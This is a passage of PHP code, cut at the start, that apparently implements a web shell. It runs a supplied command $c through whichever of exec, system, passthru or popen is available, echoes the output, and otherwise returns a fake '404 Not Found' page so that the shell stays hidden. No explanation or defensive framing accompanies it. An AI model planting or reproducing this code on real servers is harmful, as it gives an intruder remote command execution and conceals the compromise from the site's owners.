&1");}
elseif(function_exists("exec")){@exec($c." 2>&1",$a);$o=implode("\n",$a);}
elseif(function_exists("system")){ob_start();@system($c." 2>&1");$o=ob_get_clean();}
elseif(function_exists("passthru")){ob_start();@passthru($c." 2>&1");$o=ob_get_clean();}
elseif(function_exists("popen")){$h=@popen($c." 2>&1","r");while(!feof($h)){$o.=fread($h,4096);}pclose($h);}
echo $o;
}else{http_response_code(404);echo "404 Not FoundNot Found
";}
?>